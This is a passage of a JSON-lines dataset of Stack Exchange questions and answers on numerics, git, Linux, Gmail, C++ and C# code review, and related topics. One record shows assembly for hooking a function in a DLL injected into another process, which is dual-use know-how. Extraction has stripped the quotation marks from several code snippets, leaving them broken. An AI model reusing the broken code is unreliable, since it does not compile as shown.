accuracy.High Reynolds number flows have thin boundary layers, requiring highly anisotropic elements to solve efficiently. For incompressible or nearly incompressible elements, this causes significant trouble for many discretizations. For additional discussion, mostly from the perspective of finite element methods, see What spatial discretizations work for incompressible flow with anisotropic boundary meshes?For steady problems, the ability to efficiently use nonlinear multigrid (FAS) is attractive. FD, FV, and DG methods can generally use FAS efficiently because, roughly speaking,$$ \\frac{(\\text{cost per pointwise residual}) \\cdot (\\text{number of points})}{\\text{cost of global residual}} \\lesssim 2 . $$This ratio is often more than 10 for continuous finite element methods. This ratio is not sufficient for efficient FAS with pointwise or elementwise smoothers, however. It is also necessary to have an $h$-elliptic discretization to use for defect correction, or otherwise modify the multigrid cycle. For further discussion, see Is there a multigrid algorithm that solves Neumann problems and has a convergence rate independent of the number of levels? A positive answer to this research question would potentially offer an efficient FAS for continuous finite elements."  } 
{  "id": "_softwareengineering.22753"  , "question": "What C# project(s) would you consider contributing to if you were a beginner trying to sharpen your skills in C# and .NET framework ? The project should be (besides all) active and not something less active and/or stagnant. "  , "title": "C# open source projects"  , "tags": ".net;c#"  } 
{  "id": "_scicomp.642"  , "question": "Suppose I have a scan from an STM image (very much like the things you see here). Suppose I have a simple square lattice with lattice parameter a. What I'd like to do is to numerically find the lattice parameter, measured in units of pixels, assuming that calibration is done elsewhere. A first idea of mine was to have a function that creates a grid of points with lattice constant a, some offsets where the grid starts and also some angle for the rotation of the lattice. I'd then sum the values of the STM image at each grid point and return that. I'd then use some optimization toolbox (MATLAB, Python, ...) to find the parameters that maximize this sum. Unfortunately, I run into problems doing this. For example, the grid points are calculated from the angle, lattice constant and offset and are then rounded to an integer value so that I can actually address my 2D image in the formImgData[x][y] but most optimization routines will then go on to vary the parameters only very slightly, so that the rounded coordinates don't change. The program then assumes that it has found a local minimum/maximum since the function value doesn't change if the parameters are changed only slightly. There are other problems regarding the stability of this method, so I wondered if there is a more sophisticated way of doing this in an automated fashion. I could always take the FT of the image data and read off the lattice constant manually, but I'd then still like to put a best-fid grid overlay over my image data so I'd have to optimize for angle and offset."  , "title": "Fitting a grid to an STM image"  , "tags": "regression;computer vision;pattern recognition"  , "accepted_answer": "What you're doing is something like a fourier transform: you're projecting the image onto a function ($e^{ikx}$ in the case of the FT, and a sort of periodic block function in your case).  It might be a little slow, but you could calculate the inner product of the lattice function and your image for every possible lattice function, and then find the maximum.If that doesn't work, there's a trick that might make the FT work in your case. You could select some value, and then zero out all parts of your image that are below this value. If the defects in your image are mostly low amplitude, this could make sure the largest FT peak is the correct one."  } 
{  "id": "_scicomp.15852"  , "question": "Is there a test case for 3D incompressible Navier Stokes Equations like the Taylor vortex in two dimensions?I know, I can easily construct 3D manufactured solutions but I would like to have something more physical."  , "title": "Test Case with Known Solution for 3D Navier Stokes Equations"  , "tags": "fluid dynamics;numerical analysis;testing"  } 
{  "id": "_webmaster.52437"  , "question": "Google and Bing not only have their API-based translation, but also their websites which allow for one-off translation. While these are intended for use by humans, this also allows for a webcrawler to automatically crawl the site and obtain translations of short phrases. If a human were to manually browse to a given provider's translation site and input a phrase to be translated, then stick it up on their blog, it seems like this would be a reasonable use.However, what are the implications of crawling a translation service to obtain the results by proxy for the user? Sort of like TranslationParty but being ad-supported rather than ad-free? The terms and conditions for Google, for example, seem pretty straightforward about fair use of their translation API, but use of the site interface seems unclear."  , "title": "Is it OK to use translations obtained via crawling a translation service with advertising?"  , "tags": "web crawlers;legal;terms of use;google translate;translation"  } 
{  "id": "_softwareengineering.312691"  , "question": "When I'm working on a feature branch, I tend to want to cleanup the commits in the branch using an interactive rebase before my work is reviewed and integrated in the main branch.During development of the feature, I want to push my intermediate work to the remote repository as a backup measure. I.e. when my hard-drive crashes, I don't want my entire feature branch to be lost.However, this leads to the fact that I often have to do a git push --force to the remote repository after a rebase, an action which is generally frowned upon. Or as the linked github page says:Because changing your commit history can make things  difficult for everyone else using the repository, it's considered bad  practice to rebase commits when you've already pushed to a repository.Is there a (generally accepted) policy that solves this conflict?Why this is not a duplicate of Is the git Golden Rule of Rebasing so essential?My question here asks for a policy to solve the conflict between wanting to backup your work in the remote repository and rebasing your work, while the other question tries to deny that there is a conflict and asks why some people think the conflict exists at all, and thus asks why it is essential not to push force rebases?"  , "title": "Is it wrong to git push force branches?"  , "tags": "git"  } 
{  "id": "_unix.353549"  , "question": "I've got a Lenovo IP Z500 notebook with Windows 7 installed & I'm trying to setup OpenSuse alongside Windows. I burnt an .ISO image containing Leap 42.20 (I got it from the official site) on my USB memory. Now when I try to boot from USB in order to start setup, only a GRUB command prompt appears. I tried a bunch of commands like: setup, boot, reboot, kernel, exit, etc. which were useless at this point.According to SUSE installation manual, I am supposed to receive a green graphical setup menu and not a simple command prompt.I have also read some similar discussions. In one of them, it was mentioned that Secure-Boot must be turned-off. I found nothing like a secure-boot option under security tab in BIOS menu. There was just one menu in there with two options: Legacy support (Default) and UEFI. I switched between them, yet stuck in that GRUB command prompt. Any help, please?"  , "title": "Problem while trying to setup Linux OpenSuse from USB Disc"  , "tags": "linux;grub2;dual boot;opensuse"  , "accepted_answer": "that means Grub2 has not found the bootloader.Reasons are:Problem in the downloaded iso as @darvark has mentionedThe iso file was not burned properlyAs you are probably using Windows, download ImageUSB and burn the iso again.I have installed openSUSE Tumbleweed from USB recently with UEFI activated and there were no problems, but if it does not work try to activate Legacy Support in your Bios setup."  } 
{  "id": "_webapps.79893"  , "question": "I tried to search for such a question on this website but did not find anything really concerning to my real question.So, I have got Gmail and I have a lot of e-mails. There are like 4000 or thereabouts. (I have never deleted e-mails from the 'All Mail' default label.)Now I would like to search for a specific e-mail and I tried to search for it by turning on the search toolbar (CTRL + F).But I do not really remember where this one e-mail is located - there are plenty of pages and I really do not know which one it is in, hence I ought to flip through every page every time and see if something has been found (it is marked in yellow). But one gets really knackered, you know.  How many pages are there for more than 4000 e-mails? You do not want to know, neither do I.So, is there any way to sort messages? Had I better use Python?!I will post below an image of my Gmail account so it will be helpful."  , "title": "How can I search for a specific e-mail without flipping through every page each time?"  , "tags": "gmail;gmail search"  , "accepted_answer": "No, you cannot change the sort of messages. They're always shown in date descending order.Gmail is built on the premise that you don't need to delete anything and that the search powered by Google should help you find any message you could possibly want.But you need to know what you're looking for. You can do a simple search on some text you know is in the message. If you know who it's from you can use from:somename@gmail.com in your search string. Did you happen to star the message so you could find it later? is:starred. Did Gmail mark it as important? is:important. Does it have an attachment? has:attachment. No? Then use negation: -has:attachment. Have you read it already? is:read. Do you remember about when you received it? Use the before: and after: search parameters.There are a ton of search operators you can use to narrow your search. Have a look of the Gmail Advanced Search Operators support page for more. Use the operators in combination to find what you need:This search will find all conversations containing unique and text that have been read, were received in May, and haven't been starred.unique text is:read -is:starred after:2015/04/30 before:2015/06/01For the future, use labels to organize your email so you can find it faster."  } 
{  "id": "_unix.317809"  , "question": "History question again. Does anybody know when .xsession-errors were started. The oldest I can find about from /usr/share/doc/xserver-xorg/ is from 2005 which tells about the X11R7.0.0 release . Does anybody know what used to the state before that ?"  , "title": "history of .xsession-errors file and what predated it?"  , "tags": "debian;x11;xorg;history;x server"  , "accepted_answer": "In the old X Consortium upstream sources, it was added in 1991 to replace logging to a system-wide log file that users might not have access to:https://cgit.freedesktop.org/~alanc/xc-historical/commit/xc/programs/xdm/config/Xsession?id=c1028b1e51d2805d5220e82d04cbbafeab0bb33fbut that had only been introduced a month before, and hadn't made it out into a release yet:https://cgit.freedesktop.org/~alanc/xc-historical/commit/xc/programs/xdm/config/Xsession?id=43e3c5f5d226637e871dd7615ef40d5f2507edb4before that, it appears to be as @WumpusQ.Wumbley said in the comment above - it wasn't being captured by the Xsession and instead either lost or logged with the xdm stderr logs."  } 
{  "id": "_webapps.51016"  , "question": "I'm having difficulty embedding gists in my Tumblr posts. I want to add a tutorial on solving a problem and I want to include source code of the algorithm in my post with syntax highlighting. I tried to include the embed code of the gist in the HTML of the post, but it didn't work. Can anyone tell me how to do this?"  , "title": "Adding gists to Tumblr posts"  , "tags": "tumblr;embed"  , "accepted_answer": "Embed a Gist on TumblrThere are two ways:Dirty / Quick:When creating a post, click HTML and then add in the following line: <script src=https://GISTURLHERE.js></script>This will then include the Gist. The concern with this is the Tumblr parser could remove the inline script tag.Clean / SlowerUse the following lib: https://github.com/blairvanderhoof/gist-embedThis will embed the gist, after reading the URL from the data-attr. The code block should be unaffected by Tumblrs parser.There are alternatives to this solution, but afaik the basics for most are the same. Take a URL (to your gist) and then create a script tag pointed to that URL. Once the script has loaded, the gist will be rendered.Hope that helps."  } 
{  "id": "_codereview.4593"  , "question": "Are there any issues with below implementation?Input: from STDIN, a list of stringsOutput: serialize to a file called out.txt and then unserialize into a list of strings, and output to STDOUT  Goal is not here too much about code organization, but I would like to know if this code can fail for certain types of inputs  #include <iostream>#include <fstream>#include <sstream>#include <vector>#include <cstdlib>using namespace std;int main(){    std::vector<std::string> input;    std::string tmp;    while (std::cin >> tmp)    {        input.push_back(tmp);    }    std::ofstream out(out.txt, std::ios::out);    for (std::vector<std::string>::const_iterator iter = input.begin();         iter != input.end();         ++iter)    {        out << (*iter).size() << | << *iter;    }    out.close();    std::vector<std::string> output;    std::ifstream in(out.txt, std::ios::in);    if (in.is_open())    {        std::string tmp;        if (!in.eof())        {            getline(in, tmp);            size_t pos;            int length = 0;            std::string str;            while (!tmp.empty())            {                pos = tmp.find('|');                if (pos != std::string::npos)                {                    length = atoi(tmp.substr(0, pos).c_str());                    str = tmp.substr(pos+1, length);                         tmp = tmp.substr(pos+str.size() + 1);                    output.push_back(str);                }            }        }        in.close();    }    for (std::vector<std::string>::const_iterator iter = output.begin();         iter != output.end();         ++iter)    {        std::cout << *iter << \\n;    }    return 0;}"  , "title": "Serialization/Unserialization of a list of strings - C++"  , "tags": "c++;strings"  , "accepted_answer": "Looks like it will work fine.You preserve the string integrity in the file by maintaining its length as a separate entity that you can check independently. So it should work fine.Not sure why you copy it to intermediate arrays.Why not copy directly from input to file then from file to output?You implement most of the other loops so precisely. But the main loop to read from the file is a bit a bit bulky and messey. With an extra class you can make it look just like the others.std::vector<std::string> output;std::ifstream in(out.txt, std::ios::in);MyStringReader    reader;while(in >> reader){    output.push_back(reader);}in.close();So now you just need to define the MyClassReaderstruct MyStringReader{    std::string   data;    operator std::string const&() {return data;}  // This is used in the line};                                                // output.push_back(reader) and converts                                                  // the reader object into a string before                                                  // it is pushedstd::istream& operator>>(std::istream& stream, MyStringReader& value){    size_t length;    char   sep    = 'X';    // Use the stream operators to get the size (and separator)    // Much nicer than using tha atoi() function.    //    if ((stream >> length >> sep) && (sep == '|'))    {        // Resize the string to the correct size and put the word into it.        value.data.resize(length);        stream.read(&value.data[0], length);    }    return stream;}"  } 
{  "id": "_webapps.17280"  , "question": "Is there a keyboard shortcut to Expand all emails in a conversation after having navigated via j or k? Typing Enter after j or k doesn't do much."  , "title": "Gmail keyboard shortcut to expand all?"  , "tags": "gmail;keyboard shortcuts"  , "accepted_answer": "As far as I know there isn't a keyboard shortcut for this.You can use n (Next message) or p (previous message) to navigate up and down the conversation tree. You can then use o or Enter to expand an individual message that is part of a conversation.Resource: Gmail Keyboard Shortcuts"  } 
{  "id": "_vi.3227"  , "question": "When I try to open a file from multiple vim instances, I get an error with several options:Swap file ~/.vim/tmp/file.swp already exists![O]pen Read-Only, (E)dit anyway, (R)ecover, (Q)uit, (A)bort:What is the difference between Quit and Abort? My first guess was, when I'm trying to open multiple files and only one is being edited elsewhere, quit may skip that one and abort quit the program, but that is evidently incorrect -- both just abandon the whole attempt at editing and drop back to the terminal."  , "title": "What's the difference between quit and abort?"  , "tags": "swap file;quit"  } 
{  "id": "_reverseengineering.11531"  , "question": "I am trying to re-write the following function in my injected DLL.mov edi,edipush ebpmov ebp,espmov eax, [sound.dll+1AE0]push eaxmov ecx,[ebp+08]mov eax,[ecx]mov eax,[eax+0C]push eaxcall sound.dll+7C640pop ebpret 0004I am loading my DLL via CreateRemoteThread. Is there a way to get the address of sound.dll+1AE0 (or linkage) when the DLL is loaded without having to to do GetModuleHandleEx and calculate the address dynamically?Maybe with some imports or some linkage artifact?Thanks!EDIT:The GetModuleHandleEx approach will look like:DWORD mem1AE0=0; Load mem1AE0 with sound.dll+1AE0 addressand then in my function:_declspec(naked) void MyFunction() {     __asm {         mov edi,edi         push ebp         mov ebp,esp         mov eax, mem1AE0         mov eax, [eax]         push eax         mov ecx,[ebp+08]         mov eax,[ecx]         mov eax,[eax+0C]         push eax         call sound.dll+7C640         pop ebp         ret 0004     } } The problem is when I have a call [sound.dll+XXXX] instructionIn that case I need to create a variable which will point to that memoryDWORD memXXXX=0;Load it with the correct address and also create a proxycall DWORDDWORD memXXXX_content=0;and then do:push eax mov eax, memXXXX mov eax, [eax] mov memXXXX_content, eax pop eax call memXXXX_content which is totally inefficient unless I am doing somehting wrong?ThanksEDIT: I believe there is no way to get static links if you are dynamically loading your DLL. "  , "title": "Static Address in Dynamically Loaded DLL"  , "tags": "function hooking"  } 
{  "id": "_unix.69255"  , "question": "I don't know how to ask this, but let me explain.I have a text file (named bla) in my ~/user/Dropbox folder. I would like to grep on it from any folder in terminal. For example, I'd like just type grep 'foo' bla instead of going to ~/user/Dropbox to look for.I believe that some symbolic link could help. Any idea?"  , "title": "Using grep with symbolic link"  , "tags": "grep;symlink"  , "accepted_answer": "Basically, you can give the full path to grep:grep foo ~/user/Dropbox/blaOr you could add a function on your ~/.bashrc file, so you won't need to type the full path:dgrep(){    grep $1 ~/user/Dropbox/$2}Running the function (after you open a new shell or run . .bashrc):dgrep foo blaEDIT: dgrep is a tool contained in debian-goodies that searches all files in specified packages for a regex. It should be safe to use this name if you don't use Debian or are not an advanced user. Otherwise, change dgrep to something else."  } 
{  "id": "_cogsci.9198"  , "question": "As far as I can tell the two terms are used interchangeably.  Do these two separate terms exist for historical reasons, or is there a distinction I'm missing?"  , "title": "Is there a difference between visual short term memory and visual working memory?"  , "tags": "cognitive psychology;vision;working memory;vstm"  , "accepted_answer": "The distinction between these terms is a matter of ongoing empirical research.  They form part of a set of potential taxonomical categorizations of visual memory (VM).  So far proposed sub-parts of VM include: Iconic (or sensory) memory, short-term (VSTM), fragile short-term (fVSTM), working memory (VWM), and long-term (VLTM) memory.  The distinction between short-term and long-term visual memory is generally accepted, as is iconic memory; the others are still actively debated.As the neurological validity of these terms is still controversial, it is not unusual for them to be used interchangeably.  For example:We consider VSTM and visual working memory (VWM) as the same set of  processes.The additional sub-part distinctions are proposed by Sligte and Lamme (2011) (who refer to VSTM as an umbrella term for all the non-long-term memory sub-parts):Traditionally, VSTM is thought to operate on either a short time-scale  with high capacity - iconic memory - or a long time scale with small  capacity - visual working memory. Recent research suggests that in  addition, an intermediate stage of memory in between iconic memory and  visual working memory exists. This intermediate stage has a large  capacity and a lifetime of several seconds, but is easily overwritten  by new stimulation. We therefore termed it fragile VSTM."  } 
{  "id": "_unix.155715"  , "question": "I am currently on OS/X using macbook. I want to stop the instance of mongodb service running. Hence I tried:> sudo service mongodb stopsudo: service: command not foundAfter looking up on Google, they asked me to add PATH hence I did the following:> `vim ~/.bash_profile` (created a new bash_profile) and added the following there:   export PATH=/usr/bin:/usr/sbin:/bin:/usr/local/bin:/sbin:/opt/x11/bin:$PATHIt does not seem to work and I still get the same error:"  , "title": "sudo service command not found when installing mongodb"  , "tags": "osx;services"  } 
{  "id": "_unix.336673"  , "question": "Target situation:data/file.txt owned by myUser:myUser and -rw-rw-rw- (chmod 666) symbolic link /tmp/file.txt owned by postgres:postgres and -rw-rw-rw-So, I can edit the file with my user, and  the other user (postgres) can read and write it also... But link and file are owned by different users.Real world situation: same step by step of this other question,sudo rm /tmp/file.txt  # if exist, removecd ~sudo chmod 666 data/file.txtls -l data/file.txt    # -rw-rw-rw- as expectedmore data/file.txt     # working finesudo ln -sf $PWD/data/file.txt /tmp/file.txt  # finels -l /tmp/file.txt    # lrwxrwxrwx,  /tmp/file.txt -> /home/thisUser/file.txtmore /tmp/file.txt     # finesudo chown -h postgres:postgres /tmp/file.txtsudo more /tmp/file.txt   #  NOT WORK! A workaround is sysctl -w fs.protected_symlinks=0 (them more /tmp/file.txt will work fine) but it is not secure, I need another solution.See real-life problem here"  , "title": "Best workaround for file's symbolic link with different group tham file"  , "tags": "chown;ln"  , "accepted_answer": "The directories /home and /tmp aren't really appropriate for this, and neither is using a symbolic link. Make a directory to store the file and set up permissions for it using an ACL. Let's say that your username is peter. Some of the commands below might be superfluous, and these are given merely to be explicit.# Make a new directory to store the `file.txt`.#sudo mkdir /var/my_dir# Change ownership and group ownership to root.#sudo chown root:root /var/my_dir# Only allow root and members of root to read the directory.#sudo chmod 0750 /var/my_dir# Begin to augment standard permissions with ACLs.# Below, allow peter rwx for all new file system objects in /var/my_dir.# (-d means default and -m means mask)#setfacl -d -m u:peter:rwx /var/my_dir# Set the same mask for the directory itself.#setfacl -m u:peter:rwx /var/my_dir# Below, allow postgres r-x for all new file system objects in /var/my_dir.#setfacl -d -m u:postgres:r-x /var/my_dir# Set the same mask for the directory itself.#setfacl -m u:postgres:r-x /var/my_dirNow, peter can create files in /var/my_dir, and postgres can read them.It may also be convenient to link the directory in your home directory.cd && ln -s /var/my_dir .Files in /tmp should disappear on reboot. Generally speaking, or perhaps arguably, it would not be a good practice to link to files in your home directory. I could expound on that statement if you don't already understand. A better location for this purpose might be /usr/local/var/my_dir, but the main point is to try to get the permissions right instead of using /tmp and /home with symbolic links  for this purpose.UpdateThis might also be done in a standard, simpler way that would be more compatible with other software like SFTP/SCP clients.sudo mkdir /var/my_dirsudo chown peter:postgres /var/my_dirsudo chmod 0750 /var/my_dirNow, whatever files exist in /var/my_dir can only be read by root, peter and postgres, while only peter and root can write.Then just make sure your umask creates files that postgres can read.cdtouch testls -l testIf the result shows r for others, then postgres will be able to read the file in /var/my_dir.Yet another approach...sudo touch /usr/local/var/file.txtsudo chown peter:postgres /usr/local/var/file.txtsudo chmod 0640 /usr/local/var/file.txtcdln -s /usr/local/var/file.txt .Above, we work with a single file, no directories. Again, all of these are simply setting permissions. You merely have to decide how you want to approach the situation, having more knowledge about what you are doing than what we can read in the question."  } 
{  "id": "_webapps.44129"  , "question": "A kinda disclaimer: My facebook account got hacked, sends spam messages and so, I had to delete my previous account and recreate another one. My browser has the whole history like, with whom I've chatted, whose pages or profiles I had visited, etc. (which is easy for me)I tried to give a request to my girl. And, I wanna contact her now. When I tried to message her, it showed something like this - like I want to pay something to prove that I'm not a spammer (which I assume happens to every fresher to facebook)...But when I used her user ID (the user ID I've cleared above) next to the message box URL, facebook.com/messages/[user-ID], I can actually see the messaging window. I sent her a message (I don't know whether it reaches her or not - assuming she'll see see that tomorrow). It showed me that the conversation started now...What I wanted to know is a couple of things...If I got that dirty payment scheme right, why didn't facebook ask me to pay again?If I get it wrong, what does both mean? or How do they differ? (I mean, one says - Pay 19.41 to send to her inbox, while the other goes just with an Enter key which seems ridiculous..!"  , "title": "How messaging actually works in Facebook for freshmen?"  , "tags": "facebook;facebook messages"  , "accepted_answer": "Whether you're new to Facebook or not is irrelevant, earlier, all Facebook messages to a person you're not connected & provided the other person has allowed for all to message, were delivered to the 'Other' folderOff late, Facebook allows you to send a message directly to the Inbox, instead of the other folder for a fee. This isn't a 'check-for-spammer-routine' - it's one way Facebook is trying to monetize.Sending message via the user's profile delivers to their Other folder, much like how it works when you send a message from your messaging window, provided you haven't paid"  } 
{  "id": "_codereview.122681"  , "question": "Previously I had been using an array of bool(dead/live) to represent cells.  I looked on code review to see how other people have implemented Conway's Game of Life.  Someone in the comments of a post suggested using an unordered set to only store live cells.  This sounds like it would be more efficient, because only storing live cells means that the program only has to check live cells and their neighbours.  I tried it, but I am not sure if the program is more efficient the way I have implemented it.  Any suggestions are appreciated.  Grid Class #ifndef UTILITIES_H_INCLUDED#define UTILITIES_H_INCLUDED#include<iostream>#include<unordered_set>#define dead cells_at_t.end()namespace ConwaysGameOfLife{    struct Grid    {        private:            std::size_t cols{25};            std::size_t rows{25};            int top{-cols};            int bottom{cols};            const int left{-1};            const int right{1};            const int middle{0};            using set_of = std::unordered_set<std::size_t>;            set_of cells_at_t{55+76,81+76,104+76,105+76,106+76,205+76,206+76,230+76,231+76};            set_of cells_at_t_minus_one;            std::unordered_set<int> neighbors            {                top+left,                top,                top+right,                left,                right,                bottom+left,                bottom,                bottom+right            };            void rule(const std::size_t& position)            {                std::size_t live_neighbors{0};                for(const auto& neighbor : neighbors)                    //Total Neighbors                {                    if(cells_at_t.find(position + neighbor) != dead)                    {                        live_neighbors++;                    }                }                if(cells_at_t.find(position) != dead && live_neighbors < 2)                    //Underpopulation                {                    cells_at_t_minus_one.erase(position);                }                else if(cells_at_t.find(position) != dead && (live_neighbors == 2 || live_neighbors == 3))                    //Aging of a Cell                {                    cells_at_t_minus_one.insert(position);                }                else if(cells_at_t.find(position) == dead && live_neighbors == 3)                    //Birth of a Cell                {                    cells_at_t_minus_one.insert(position);                }                else if(cells_at_t.find(position) != dead && live_neighbors > 3)                    //Overpopulation                {                    cells_at_t_minus_one.erase(position);                }            }        public:            void apply()            {                set_of cells;                for(const auto& position : cells_at_t)                {                    if(cells.insert(position).second);                    {                        rule(position);                    }                    for(const auto& neighbor : neighbors)                    {                        if(cells.insert(position + neighbor).second);                        {                            rule(position + neighbor);                        }                    }                }                cells_at_t = cells_at_t_minus_one;            }            void display()            {                for(int r{0}; r < rows; ++r)                {                    for(int c{0}; c < cols; ++c)                    {                        if(cells_at_t.find(r * cols + c) != dead)                            std::cout << '0';                        else                            std::cout << ' ';                    }                    std::cout << std::endl;                }                std::cout << std::endl;            }            Grid() {}            ~Grid() {}    };}#endif // UTILITIES_H_INCLUDED"  , "title": "Conways Game of Life using unordered set of coordinates"  , "tags": "c++;game of life;set"  } 
{  "id": "_unix.373656"  , "question": "I am trying to run a program called FLASh (https://ccb.jhu.edu/software/FLASH/) and need to add it to my bash. I am not sure how to do this. I have tried: PATH=~/opt/bin/bash/flash:$PATHHow can I add it to my .bash_profile? Right now, the program comes up with an error, even though I have supposedly installed it:  -bash: flash: command not found "  , "title": "How can I add this directory to my bash profile?"  , "tags": "bash;path;flash"  } 
{  "id": "_unix.186719"  , "question": "So I have 2 very big text files, consisting of lines like so:First:Robert:Dillain:Other:Other:OtherJulian:Brude:Other:Other:OtherMegan:Flikk:Other:Other:OtherSamantha:Minot:Other:Other:OtherJesus:Kimmel:Other:Other:OtherSecond:Sb:Minot:amsenJbb:Kimmel:verlinR:Dillain:bodentMb:Flikk:kentinJb:Brude:keminI would like to match them both by the second column (Dillain, Brude, etc) and paste them to lines like so:OUTPUT:Robert:Dillain:Other:Other:Other:R:Dillain:bodentJesus:Kimmel:Other:Other:Other:Jbb:Kimmel:verlinSamantha:Minot:Other:Other:Other:Sb:Minot:amsenetc...etc...I was thinking  of using sed for this, but anything Unix based would be great. I have had no luck trying to come up with a way to do this myself."  , "title": "Matching and pasting to line"  , "tags": "sed;awk;join"  } 
{  "id": "_cs.48150"  , "question": "I've been recently investigating metacategories (arrows and objects) alongside Automata theory and noticed that a category is a sort of parent container for DFAs, which are just a specific type of function over sets.If the relationship between automata and categories is significant, does that mean an automata could encode type information in addition to its accepting duties?"  , "title": "DFAs as Categories"  , "tags": "formal languages;automata;category theory"  } 
{  "id": "_cseducators.2538"  , "question": "I'm going to be working through a textbook on discrete mathematics that has a special focus on computer science. My only resources are the textbook (which, in its defense, has answers to the odd numbered problems in the back, and self-tests with answers) and the great and powerful Google. Since I don't have a teacher per-se to help me, are there any things I should do to help keep myself focused and retaining the information I read? I'm planning on doing every single odd-numbered problem, but are there extra projects I could be doing (programming or whatever) to reinforce aspects of it? The book is Discrete Mathematical Structures, 5th edition, by Kolman, Busby, and Ross. Chapters are Fundamentals (covering set theory, matrices, etc)LogicCountingRelations and digraphsFunctions Order relations and structuresTreesTopics in graph theorySemigroups and groupsLanguages and finite-state machinesGroups and coding"  , "title": "Tips for self-study with just a textbook and google"  , "tags": "best practice;self learning;mathematics;textbook"  } 
{  "id": "_unix.385015"  , "question": "When I run clipgrab in a shell it open and close the GUI show the message error:Adding Equifax CA certificate loaded the Generic plugin sni-qt/3713 WARN  14:06:46.400 void StatusNotifierItemFactory::connectToSnw() Invalid interface to SNW_SERVICE Segmentation fault (`core' generado)"  , "title": "Invalid interface to SNW_SERVICE in fedora 26 x.64"  , "tags": "fedora"  } 
{  "id": "_unix.218844"  , "question": "We wanted to try the biopieces tools, which require certain dependencies, such as ruby and perl, a.o.After running the installers, and consequently installing some ruby gems, we were not able to run our regular linux 'make' command anymore:~$ make/var/lib/gems/1.9.1/gems/make-0.3.1/bin/make:1:in `top (required)>': uninitialized constant ELF (NameError)        from /usr/local/bin/make:23:in `load'        from /usr/local/bin/make:23:in `<main>'If we specify the root directory /usr/bin/make, it does work.For now, we are not using biopieces and we could uninstall everything.Is it possible to fix this, to get back where we were before?"  , "title": "Linux 'make' command fails after installing ruby and gems for biopieces"  , "tags": "make;ruby"  } 
{  "id": "_unix.315897"  , "question": "I have setup nginx web server and I want to do the load balancing using haproxy server. I have done these using apache but unable to do it for nginx. Below the apache settings which are working for me and able to perform the load balancing. frontend http-in         acl host_abc hdr_end(host) -i xyz.example.com         use_backend abc if host_abcbackend abc        balance leastconn        mode http        timeout client          5m        timeout server          5m        option httpchk        option forwardfor        server scmauto1 xxx.xxx.xxx.xxx:80 checkThe same setting I have done for nginx those are not working. "  , "title": "How to add ngnix behind haproxy server"  , "tags": "linux;centos;nginx;load balancing;haproxy"  } 
{  "id": "_cs.38275"  , "question": "I'm implementing some synchronization primitives in the standard library of an operating system. Specifically, I want to implement mutexes and condition variables. This is on top of a microkernel with a preemptive scheduler (a thread has no way to prevent the scheduler from preempting it). I'm exploring how minimalistic the system can get while remaining powerful and efficient enough for my needs. Compared with Mutex implementation on top of a minimalistic preemptive scheduler, there's a twist: the kernel does not guarantee thread liveness.From the hardware, I get a basic atomic primitive such as compare-and-swap or load-link/store-conditional. You can assume that the word size for these instructions is large enough to store a pointer or a thread identifier.From the kernel, I get two primitives:sleep(): suspend the current thread until a thread has called wake(t) where t is the current thread. If the current thread's wake-up flag is already set then sleep() returns immediately. Returning from sleep clears the wake-up flag.wake(t): wake thread t if it's asleep. If t isn't asleep then its wake-up flag is set and t's next call to sleep will return immediately.Can I implement a mutex on top of these primitives?lock(m): if m is taken, sleep until it is free. Mark m as taken.unlock(m): mark m as free. If some other thread is waiting for it to become free, that thread is woken up.Note the absence of a yield() primitive. If a thread does not go to sleep then there is no guarantee that some other thread will get any CPU time. Why? Because the scheduler assigns priorities to threads, and a low-priority thread will never run if all cores are busy running higher-priority threads. But the mutex functions must work between threads with different priorities.If these primitives aren't enough to implement a locking mechanism, what feature can I add to the kernel to make it possible (keeping in mind that I'm trying to keep it small)? Note that I want to maintain the guarantee that high-priority threads won't be interrupted by low-priority thread if they don't take some explicit action permitting it."  , "title": "Mutex implementation on top of a preemptive scheduler that does not guarantee liveness"  , "tags": "operating systems;concurrency;synchronization;threads;mutual exclusion"  } 
{  "id": "_webmaster.41155"  , "question": "I have a domain with multilingual support through subdomains. Each language version is identical besides the titles which are translated. e.g.:domain.comja.domain.comes.domain.comI'm redirecting users to the right subdomain according to a IP country translation table. So, for example if you're accessing the site from Japan, I'm displaying the ja.domain.com version.The problem is that web crawlers have crawled both domains, and sometimes show the wrong version in search results. For example if I'm from New York I might be displayed the ja.domain.com version instead of the domain.com version.How can I avoid this?"  , "title": "multilingual domains both crawled and come up to the wrong audience"  , "tags": "seo;duplicate content;googlebot;multilingual;language"  } 
{  "id": "_cstheory.6423"  , "question": "I've began studying some CS recently, and I've faced the TSP.The decision problem version of the TSP is NP-complete, right?I've noticed (and elaborated myself) that there exists several polynomial timeapproximations for the TSP. Combined with the decision problem, this lowersthe complexity of the algorithm for some values given for the decision, becausethose values may lie outside of the estimation: say the decision asks for a path no longerthan 50 and we find a path of 150 which is at most 2x the minimum path, then we would only need polynomial time for evaluating it. So my question is as follows: is itpossible to assemble algorithms with polynomial time (with any polynomial order) that approximate the TSP to a given ratio? Because then, I could be able to add a seriesof algorithms before the actual non-polynomial time algorithm to progressively lower it'scomplexity. Assembling this series of algorithms to find the exact solution would probably require an infinite series of polynomial time, which cannot have polynomial time as a whole. But I think it is possible to use tricks to limit this to a finite number, which would result in a total polynomial time for any given decision value. Think about it: theworst case of this problem is when the decision parameter is exactly the TSP solution - we thus have some information about it. Since P probably differs from NP, I guess there are no such algorithms?Sorry If I sound a bit confusing, I don't know If my thoughts make much sensemathematically."  , "title": "Is there a series of algorithms for approximating TSP polynomially?"  , "tags": "cc.complexity theory;tsp"  } 
{  "id": "_codereview.70246"  , "question": "The following is a excerpt from a class that is supposed to represent a reflection of an object in a 3D world, like in a mirror.After I started I discovered that mirroring is a property of an object, it is either mirrored, or it isn't. Multiple mirrors don't come up with unique objects but just keep flipping from one to the other, with differing rotations.So with that in mind, how can I re-factor this class, to more suitably deal with the problem?package au.id.rleach.efficientmultiblocks;import org.spongepowered.api.util.Axis;import java.util.EnumMap;import java.util.LinkedHashSet;import java.util.Set;public class Reflexion {    private final EnumMap<Axis, Boolean> map = new EnumMap<Axis,Boolean>(Axis.class);    public Reflexion() {        for(Axis x:Axis.values()){            map.put(x, false);        }    }    public Reflexion(Axis...axises){        this();        for(Axis x : axises){            map.put(x,true);        }    }    public Reflexion(Reflexion r, boolean x, boolean y, boolean z){        //^ is xor        map.put(Axis.X, x ^ r.map.get(Axis.X));        map.put(Axis.Y, y ^ r.map.get(Axis.Y));        map.put(Axis.Z, z ^ r.map.get(Axis.Z));    }    int getFlip(Axis x){        return map.get(x) ? -1 : 1;    }    static Set<Reflexion> all(){        return all(new Reflexion());    }    static Set<Reflexion> all(Reflexion r){ 